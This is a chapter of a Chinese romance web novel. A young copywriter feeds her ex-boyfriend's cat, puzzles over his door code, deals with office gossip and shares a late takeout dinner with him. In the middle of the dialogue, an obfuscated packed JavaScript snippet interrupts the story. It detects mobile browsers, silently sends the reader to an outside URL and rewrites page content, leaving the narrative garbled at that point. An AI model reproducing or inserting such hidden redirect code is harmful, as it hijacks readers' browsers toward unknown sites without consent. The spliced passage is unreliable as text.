明翊面无表情松开鼠标,暗暗攥紧拳头。 怎么办? 手有点痒,想杀狗。 大概过了半小时,手头的稿件差不多处理完。 明翊关上电脑,拿自带的水杯去饮水器下接了杯水,就听到卧室的门嘎吱一声,猫猫摇头晃脑地从里走出来,歪七扭八的步伐里还透着些困倦。 见到人,倒像是一瞬间清醒不少,颠颠儿地就朝这边跑过来。 明翊弯唇将猫猫抱进怀里,她觉得越之扬家这猫性格简直太好,一点儿也不傲娇,反倒很是亲人,每回见到她都热情得过分。 在沙发旁坐下,将猫饭往自己这边扒拉了下,明翊看着小猫食欲很好地通通吃完,又翻出逗猫棒陪它玩了一会儿。 快到十一点左右,检查过一遍电器,封好门窗后就转身离开。 关门的瞬间,忍不住又想起越之扬给出的密码。 【000607】 这数字听起来总有些耳熟,似乎是在哪里听过。 后四位明显是个日期。 到底是什么日期…… 明翊拿着换洗衣物边往浴室走边苦思冥想,打开淋浴头的瞬间,看着哗啦的水流,脑海里忽地电光石火闪过什么。 她想起来了! 但不过三秒,拨云散雾的惊喜感悄然散去,紧接着漫上心头的就是无语。 因为明翊记起—— 这是他们分手那天的日期。 * 这事简直令人费解,想完一场澡的时间明翊也没能想明白越之扬为什么要拿他们分手的日期当密码。 这真是有亿点点丧心病狂了。 入睡前她在床上翻来覆去,或许是由于这点,半夜里又做起了梦。 梦里,越之扬痛快利落地将手机银行卡门锁以及一系列密码果断改成现女友生日,随后一脸嫌弃地将她推倒在地,并气焰嚣张地放狠话—— “你以为我为什么要搬过来!” “还要把密码改成分手日期,当然是为了要报复你啊哈哈哈!” 那个长着越之扬面孔的邪恶火柴人发出狰狞怪笑。 明翊被他吵得不厌其烦,拿过枕头直接砸了出去。 砰的一声。 恶灵退散。 闹铃刚好响起,她头脑昏沉地从床上爬起,对着天花板放空了好一阵儿,才开始跟钟以晴发消息。 明翊:【我忽然想到一个可能性】 明翊:【他大概】 明翊:【是要报复我】 旧情难忘什么的,压根不可能存在于他们之间。 连门锁密码都改成分手日期。 这叫什么? 这叫卧榻之侧岂容前女友安睡,想当年越王勾践也不过如此吧。 缓缓舒了口气,明翊又在屏幕里接着敲下一行字:【我这次真的不会再上当了】 上班路上,钟以晴才发来回复,并火速抓住重点。 钟以晴:【听你这意思…】 钟以晴:【所以你这是又和他见面了?】 钟以晴:【组织对你很失望啊】 明翊眉心跳了跳,没回复。 这段时间策划那边打算推出新活动,还没轮到主线剧情的排期,但年底要冲流水,所以这次新春活动上级很是重视,年终奖如何也就看这一波。 因此小组也加班加点地忙碌起来,尽管还对越之扬的目的心存疑虑,但明翊也再没多少心思管这事。 文本量很大,初稿暂时分为三组。 分组当天,林苗苗眼神在明翊的脸上快速掠过,这次破天荒地没有再喊她。 “任楠、乔鸢,这次你俩儿跟我写A线的剧情。” 分组初步完成,明翊被剩下。 总监Grace扫了一眼,很快指派:“那明翊你就跟着朗哥他们那组去写C线。” 明翊立刻点头:“好。” 说到底事到如今明翊心里多少也有些不安,毕竟这么久以来跟着林苗苗练习的都是人设方面的塑造,常写的几个剧情人物也算得心应手。 如今分到新组,动描和对话方面明翊不算太擅长,人物性格的把控也得重新上手,但活堆到眼前,没有撂挑子不干的道理。 虽然大家都在同一间办公室,但人多的地方总会有些微妙的派系之争。 明翊明显察觉到林苗苗似是大有将自己踢出局的意思。 在职场这是件太过平常的事,部分人关系好,那就意味着剩下的人关系会显得相对没那么好。 明翊不会没原则地上赶着讨好别人,更何况还是这种无法调和的矛盾,如果能借机脱离掉林苗苗这层关系,对她来说何尝不是件好事。 这么多年的经历也告诉她,很多时候只需要做好自己的事情,那么问题就算不迎刃而解,只要自身足够强大,也早晚会有能力来处理,一味的提心吊胆毫无用处。 一连加了快五六天班,越之扬那边似乎是在冲刺期末考,明翊也就帮他连着喂了近一周的猫。 这天下午,明翊抱着咖啡准备回工位,任楠刚好走进茶水间。 二人视线对上,隔着彼此几乎快垂到法令纹的黑眼圈同时从双方眼中捕捉到某种名为生无可恋的情绪。 任楠叹口气:“姐,你知道咱们这班到底要加到什么时候吗?小弟真的真的真的快要撑不住了。” 虽然不在一起码剧情,但二人同在林苗苗手底下出生入死的革命情谊还在。 任楠那边很是夸张地长吁短叹,看上去快受不住这酷刑。 相比之下,明翊的反应就平淡得多。 “不知道啊。” 她端起马克杯抿了口,视线又落到任楠前不久放到咖啡机底下的水杯,“大概就像你现在正在接的咖啡一样。” “一直不断加加加——”明翊缓缓吸口气,淡声补充,“加到厌倦吧。” 任楠:“……” 默了两秒,他的表情比方才还要更加生无可恋:“姐,谢谢你的冷笑话,我现在感觉好多了,本就不多的工作热情也被你一下子给浇得魂不附体。” 明翊讶然。 “工作热情?你居然还有这玩意儿?” “……” 二人捧起水杯对着窗外的天空发呆。 任楠视线不自觉移到明翊平静淡然的侧脸,默默看了有一会儿,忽然叹口气:“哎,果然长得好看的人都扎堆。姐你别说,你那男朋友建模还真牛逼,长得跟个CG动画似的!” 明翊略显迟疑的视线缓缓飘过去。 因为这熟悉的行业话术,她一时还没反应过来,以为任楠在跟她探讨工作,但转念一想,又觉得有什么地方不太对劲。 “就那么个模糊的渣画质,都能看出是个大帅哥!我什么时候能长成那样,绝对一早转行了。这年头,狗都不干我们这行……” 听到这,明翊不自觉顿了下。 “男朋友?” 她哪里来的男朋友? 瞧见她这副困惑神情,任楠也不由泛起嘀咕:“啊,不是吗?难道苗苗姐说错了,就那天雨里那位啊。” “你别说你俩站一块儿那场景就跟拍电影似的,还得是那种最经典的青春疼痛文艺片,简直太养眼了。” 明翊不禁一噎。 又是林苗苗。 她立刻打断任楠的喋喋不休:“等等,楠儿你先别急着痛,你能给我讲讲这是怎么回事吗?” “我好像是没跟大家提过这事。” 任楠也有些许错愕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773898|174557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “就苗苗姐说的啊。她说你已经有对象了,还给我们看了照片,大概是从车里拍的,画质有点模糊,但能看出是你。” 听到这,明翊脸色有些难看。 应该是当天那男人拍的,又被林苗苗拿到手后在她不知情的情况下大肆宣扬。 明翊也真觉得稀奇。 忙成这样,这人怎么还有心思干这事儿? 任楠觑着她的面色:“怎么了姐,那照片不是你给苗苗姐的吗?” “她偷拍的。” 明翊这次没给她留面子,当场戳穿。 过了一会儿,又主动问起:“她还说什么了吗?” 任楠也察觉到气氛不对。 “这倒是没,她说也没人信啊。咱文案组谁不知道她啊,一天到晚爱拉着年轻小姑娘给人介绍对象,嘴上又没个把门。隔壁美术组的小姐姐基本上都被祸害过一遍了,进咱公司的欢迎仪式就是跟她那个快四十的大龄表哥相亲……” 明翊差点呛到。 “她表哥四十了?” “对啊,看头发也能看出来吧,我感觉我再干十年文案也不至于到那种光明顶的程度。” 说到这,任楠又看了眼明翊:“姐,我以为你知道呢。” “……” 这还真是,不知道。 “我就说她那表哥是真配不上你,我还以为你当时鬼迷心窍呢,跟她走那么近。说实话那天我看到你男朋友照片是真松了口气,她还怪你眼光高,眼光再低好好一姑娘也不能直接插牛粪上吧。” 任楠:“要我说,你这恋爱可谈得太好了!” “公开让公司人知道也没什么,毕竟这年头单身的谁不得被这种没眼力见儿的给祸害一遍。我毕业不到三月,已经被按头相了八次亲!” 任楠夸张地比出两根手指。 “活生生的八次啊!!” 明翊同情看向他,而后默默将他伸出的手指合拢:“节哀。” 林苗苗那边发微信催任楠回去对进度,跟明翊打了个招呼,这人火速离开。 明翊也休息得差不多,回去的路上又仔细琢磨过二人方才这番对话。 从中提取出两个关键点: 一是做人不能太孤僻,跟同事搞好关系还是有必要的。 比方说如果事先从任楠嘴里知道这件事,她肯定不会上了林苗苗的贼船。 第二,明翊不得不赞同任楠说的确实有些道理。 她需要一个‘男朋友’的身份,无论是真或假,来挡挡职场这莫名其妙的烂桃花。 其实乍一得知这件事,明翊原是打算跟任楠澄清,不要污了人家越之扬的清白。 但听着听着,又莫名打消了这念头。 有这么个假冒的男朋友在,至少林苗苗目前收敛很多,没再拉着她跟那表哥强行配对。 这几天倒是难得平静。 似乎也还…… 不错? * 下班之后。 明翊给林苗苗发了条微信,言辞不算客气,再有这种事,她真的会考虑向上级举报。 最坏的结果也不过是走人。 对面迟迟没回。 明翊叹口气,放下手机将碗中的水果麦片吃干净。 实在心烦,她也没什么胃口。 目前这人就像是卡进她喉咙的鱼刺,软的不行硬的也不行。没有彻底解决这事的办法,也只能暂时走一步看一步。 很多事也许能看到苗头,却难以掐灭这份隐患。 作为没什么背景的普通实习生,对于这种达不到职场造谣却实在犯恶心的事,明翊只觉得棘手。 吃完饭,她就去进行每日的例行喂猫活动。 因为心情不算好,明翊也没在休息时间继续工作。或许情绪真的会传染,猫猫的兴致也没前几天那么高,吃完小半碗猫粮后就开始乱蹿,一刻不肯安分。 明翊缓缓垂下眼,累了一天也没力气满屋子抓猫,只好打开越之扬家的电视放了个动画片。 猫猫的注意力很快被电视机声响所吸引,倒是意外安静下来。 照旧抱着它在沙发边撸了一会儿,新一集的片头广告恰好跳进来。 门口忽地传出些动静。 如今这时间已经不早,越之扬也没说他会回来。 明翊不由有些不安,很快将电视暂停,放下猫就起身往玄关方向走,警惕地顺着猫眼往外看。 此刻,明亮的楼道内正立着个戴鸭舌帽的高大身影。 面容隐进一片阴影里,看不太清。 明翊心脏快速蹦了两下,刚翻出手机,门外又传来输密码的声音。 与此同时,那道始终脑袋低垂的身影终于仰起脸,露出张熟悉的面孔。 明翊松口气,火速将门拉开,语气里不自觉带些抱怨:“你回来怎么不提前说一声?” 越之扬像是刚考完试,外头天气又冷,开门的瞬间带进一屋子寒意。 这人绕过她在玄关换鞋,似是对她这话颇感好笑。 “还真把这当自己家了?” “……” 被这么一提醒,明翊也意识到,自己说的确实不妥。 她不太自在地抿了抿唇,既然主人已经回来,今晚的喂猫任务也圆满完成。 “既然你回来了,那我就——” 刚打算礼貌道别离开,视线扫过去,明翊的话又顿住。 越之扬像是完全没在听她说什么,自顾自将肩上的双肩包搁到置物柜,又去摘帽子。 这瞬间,他的视线无意中定在某处,忽地轻轻啧了声:“又不穿鞋。” 明翊怔然。 因着这莫名其妙的话,她下意识望过去。 正看到越之扬脱羽绒服到一半的手忽地顿住,又俯身下去,将门口那双始终空置的毛绒拖鞋移到她脚边,声音很轻地嘱咐。 “穿上。” 30. 30 明翊没有在冬天更换毛绒拖鞋的习惯。 一是这季节的北方大多会供暖。二来她真的很懒,毛绒拖鞋打理起来又麻烦,穿上一段时间绒毛就会整片塌下去,很容易弄脏。 因为懒得清理,她常年一双夏季凉拖走天下。 到冬天则会很是惜命地在里头给自己加双厚实的毛绒袜,效果聊胜于无。 视线里清晰映出越之扬头顶的发旋。 此刻他正半蹲在面前将那双兔绒拖鞋缓慢挪到脚边,许是因为这一路都戴鸭舌帽,这人原本偏硬的发质被压顺不少,软软塌下去一层,莫名显得有点乖顺。 明翊讷讷看向他,不自觉傻了眼。 闹哪儿样啊这是? “……” 有点朝着道德伦理的边缘滑坡了吧。 她目光定在鞋面,又认真解释:“我这鞋是新的,不会把你家地板给踩脏的。” 越之扬很快起身,语气听起来不太痛快。 “我是担心这个?” “……” 实在不知道怎么接话,明翊站在原地没吭声。 越之扬也没了再管她的意思,直接转身进了客厅。 进去后他就开始在茶几底下一顿翻腾,原本安稳坐在沙发边的猫猫被这动静打扰,也自觉挪了个地方。 明翊面色疑惑地跟着望了一阵儿。 越之扬很快从茶几下层翻出遥控器,嘀嘀几声,空调启动。 柔缓的暖风霎时吹满整方空间,温度一下子上升不少。 做完这事,他才折返回玄关。 把羽绒服脱下挂在衣帽架,中途越之扬淡淡瞥来一眼:“说喂猫就真的喂猫,连空调都不知道开,你倒是会帮你家邻居省钱。” 明翊哽住。 不开空调倒也不是因为这原因,在别人家她总感觉有些束手束脚,不好意思随便乱动他的私人物品,而且是真没找到。 “我想开来着,就是没找到遥控器。”明翊解释。 越之扬很快回嘴:“那就不知道问我,手机是摆设?” 明翊:“……” 见她还傻站在原地,对面眉头又轻轻皱起:“愣着干嘛,穿上。万一喂个猫还给你冻感冒了,又得赖我。” 明翊被怼得有些气闷,忍不住悄声嘀咕:“随便乱动别人东西,这不太好吧。” “别人?” 越之扬敏锐地抓住什么,停下脚步皱眉回看,语气听上去不太好。 明翊没有解释的打算:“没什么。” 她缓缓垂下眼,目光定在放到脚边的毛绒拖鞋。 最后还是没有换,担心越之扬信不过她,又找出双干净的一次性鞋套穿好。 他家里这种没用的小东西倒是多。 就明晃晃摆在鞋柜上方,看着像是随时准备招待客人。 越之扬又坐到沙发边开始撸猫。 明翊扫过去一眼,正看到他将那猫举过头顶,在手里轻轻掂了几下,语气悠闲:“呦,我不在这几天你怎么还胖了?看起来伙食不错。” 说完,他又忽地侧头看来。 “你这是把它当猪喂呢?” 不清楚这到底算不算指责,明翊动作一顿,略有些心虚:“哪有,这个年纪的小猫多吃点也正常,它又不用担心长胖。” 猫猫欢脱地喵了一声,像是在附和。 随后又很快在越之扬手里挣扎起来,看着是不太想被他这么抱。 越之扬也没说什么,果断松手,那猫又呈一个流线型直接从茶几上跃了出去,跑到角落里开始玩猫抓板。 明翊发觉越之扬今天心情似乎很好,被这么对待,唇角也始终翘着,没半点儿要生气的意思。 “你这是要放假了?” “对啊。” 明翊走到茶几旁取过手机,又看向他的手:“所以试都考完了?你这手…不影响吧?” 越之扬扶着手腕悠闲转了两下,姿态嚣张:“就这么一点事儿,能影响到我?” “……” 合着前几天柔弱到连购物袋都提不动的人又不是他了。 实在看不惯这狗的嚣张样子。 “那成绩怎么样?”她又故意泼冷水。 越之扬神情顿住,笑意也随之淡去。 明翊面不改色努力装出无辜的表情,对面意味深长的眼神顷刻就飘过来,越之扬唇角轻轻向上一挑:“我这成绩不劳您操心,好得很。不过——” “我有两个月不用早八了,你呢?” “……” 还得996一段时间的明翊选择不接话。 越之扬不依不饶:“你什么时候放假?” “不要提这种想让人直接去死的话题……”明翊缓缓移开视线。 话题就这么略过。 那边似乎是收到了新消息,抱着手机开始捣鼓,明翊觉得自己也客套得差不多。 刚准备离开,越之扬忽地抬起头。 “点了外卖,凑单一下子凑得有点多,一起吃点儿?” “那转账你又没收,我也不是很想欠人情,就当是感谢这段时间你帮忙投喂我家——” 视线投向正在猫抓板旁开启狂暴模式的圆润背影,越之扬话音一顿,又补充。 “猪。” * 本来不觉得饿,被这么一提,明翊也有点心动。 晚上因为心烦只吃了一小碗水果麦片,而且对面都已经明说不想欠她人情,现在拒绝会显得自己好像是想借着这点小恩小惠讹他个大的。 明翊也就顺势答应下来。 因为有人在,那猫像是忽然得了疯猫病,始终安静不下来。 一会儿跃上电视柜,一会又顺着门口的流理台直接跳到冰箱顶上,一个不小心差点摔进沥水池,活像个一刻都不肯安分的陀螺。 明翊看得目瞪口呆。 原来真的会跑酷,只是她这几天太幸运了。 越之扬黑着脸将罪魁祸首从水槽里拎出来,作势就要将猫猫关进卧室。明翊望着他粗暴的动作,忍不住皱了下眉。 这表情很快被越之扬捕捉到。 “你那什么眼神儿?” 明翊噎了下,但也不觉得自己有错。 “我觉得可能不是猫的问题,毕竟你回来之前,它也一直挺安分的,我们相处得还算愉快。” “那是我的问题?”越之扬冷笑,“我就不该回来,对吧?” 明翊没吭声。 下一刻,对面直接将猫扔进她怀里:“那你一会儿就抱着它看我一个人吃。” 明翊:“……” 陡然接手这块毛绒版烫手山芋,明翊也被闹得没办法。 记起刚才猫猫看动画片时似乎还算安静,她又拿过遥控器,将刚才按停的动画重新调出来。 音效响起的同时,手边的猫猫顿时安分下来。 却有狗开始闹腾。 越之扬盯着屏幕看了有一会儿,目光缓缓移到她在电视光的映衬下微微泛亮的侧脸,语气一言难尽。 “多大年纪了还看这种东西,不怪你俩儿能相处愉快。” 明翊顿了下,又平静反驳。 “我这也是迁就你家猫的审美,作为主人,该反思的人,是你。” “……” 半小时后,外卖送达。 望着越之扬拎回来的大包小包,明翊有点惊讶。 “你点这么多?” 不过只是顺手喂下猫,吃他这么多明翊心里是真有点儿过意不去:“这些一共花了多少,咱俩A一下吧。” 越之扬淡声嘲讽:“你吃就算了,我还不至于惦记你那点儿微薄的牛马费。” “……” 感觉自己被凭空扎了心。 明翊没再坚持。 锡纸包装被打开,里面是热腾腾的烧烤,还有关东煮以及一小份蛋糕和两杯奶茶。 明翊从自己那份里挑了点猫猫能吃的食物过水后又放到它的小碗里,才坐回沙发。 因为不是很饿,决定留下等外卖也只是为了平这份人情。 随便吃了几串烤肉明翊就觉得自己吃得差不多,但也不好这么直接拍拍屁股转身走人,于是很快拿起手机调成静音,又开了盘保卫萝卜。 “你这工作很辛苦吗?”对面忽然出声。 微微停顿过后,明翊才抬眼看向他,答得敷衍:“也还行吧。” 还没太明白他为什么这么问。 下一秒,越之扬淡淡‘哦’一声,又拿着手边的烤串指向还在角落里吭哧吭哧埋头苦吃的猫猫:“那你怎么吃得比它还少?” 明翊的唇动了动,刚想说自己已经吃饱了。 对面狐疑的眼神又飘过来。 “你是不偷偷虐待我家猫了?” “……” 明翊惊了! “做人要讲点良心越之扬,你为什么不怀疑我老板虐待我了?!” “那我去悬赏找人暴打你老板?” “……” 这倒是不必。 被这话给噎了下,明翊半晌没吭声。 见状,越之扬眯起眼威胁:“既然没有那就好好吃,别想偷懒,留我一个人在这收拾烂摊子。” “……” 知道是烂摊子还点这么多!! 明翊对他这行为深感无语,但对面意见都这么明显了,她也只好暂停游戏,拿过一旁的小蛋糕开始面无表情地拆封。 刚切下一角放进嘴里,味蕾接触到甜腻的奶油她的表情就忍不住扭曲。 越之扬皱眉:“又怎么了?” 明翊将那蛋糕往外推了推:“好甜,有亿点点难吃。” 她没懂这人明明看上去一副生人勿近的气场,口 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“万一把猫脸给冻成动画片里那样,可怎么办?” 明翊朝屏幕上的黑色.猫脸看了眼,不自觉有些愣神。 “你家猫是暹罗?” “不,是狮子猫。” “……” 那请问有什么可以把脸冻黑的余地? 猫猫也刚好吃完,摇头晃脑地朝二人走来,嘴边的猫毛还沾了些水渍,越之扬长臂一伸直接将小猫捞进怀里,抽过纸巾将它的嘴擦干净后,就又放进明翊怀里。 明翊抱着猫默默撸了会儿,又忍不住回想刚才他口中的纪念意义。 说实话,她是真不想把二人关系搞得太僵,毕竟说到底除了那段戛然而止的恋情,他们也再没别的矛盾。 而且越之扬这个人大多数时间还挺靠谱。 哪怕做朋友也是人品很过关、能让人信赖的类型。 想到这,明翊又看过去,试图打消这人对她深刻的‘敌意’:“你家猫多大了?” 越之扬:“快一岁吧。” 她抱起猫猫掂了掂,发觉对于一只一岁的小猫来说,这体重确实是有些不妙。很快点点它的鼻子,压低声音悄声道:“…你真的该减肥了。” 越之扬或许是听到了,立刻抱着奶茶看过来,眉梢很微妙的一挑。 明翊觉得这情形有些尴尬。 她伸出手去挼猫,又看到猫猫的耳朵似是缺了一角,顿时愣在原地。 “你家猫…耳朵好像是受伤了。” 明翊舔了舔唇,语气还有些紧张:“是这几天伤到的吗?” 她明明很小心啊。 越之扬刚起身去茶几对面收拾餐盒。 闻言动作一停,看过来的眼神有些莫名。 “你真不记得了?” “……” 明翊有点懵,有什么是需要她记得的么? 没等开口询问,越之扬已默默收回视线,又垂眼去收拾桌面的垃圾。 “你也不用急着撇清责任,”他的声音听起来有些冷淡,“知道跟你没关系,这是旧伤了。” “是LiveHouse那天?”明翊追问。 越之扬顿了下,才继续说:“不是,大概七八个月之前的事情了。一侧耳朵被咬穿,送医太晚,命虽然是保住了,但右耳聋了,平时听不太见。” 明翊愣了下,忽地记起那天发生在LiveHouse的事。 也难怪越之扬会心大地把猫带去那里。 说完这事,气氛似是沉寂。 越之扬也没再吭声,明翊抱着猫玩了一会儿,忽然就有些心疼。 “对了,它叫什么名字啊?” 一直你家猫你家猫地叫,似乎对猫猫也不太尊重。 喂了近一周,她甚至还不知道越之扬家猫到底叫什么。 明翊抬眼望过去,越之扬正挽起袖子将油乎乎的烧烤锡纸折进垃圾桶,露出的半截小臂线条紧实流畅。 “明——”对面也没抬头,下意识喊她的名字,似乎是想找人帮忙。 明翊立刻起身准备过去搭把手。 越之扬却猛地抬头,直直看向她,目光里闪过几丝微不可察的震惊与无措。 明翊被他这眼神看得几乎是瞬间怔住。 从没见过这人这么明显的情绪波动。 收拾个垃圾,有这么吓人吗? 场面一时竟似定格。 二人视线在寂静无声的房间里交汇。 猝不及防对上对面那双清亮又略带迷茫不解的双眼。顿半晌,越之扬迅速直起腰,到嘴边的话陡然就转了个弯。 “——明明就。”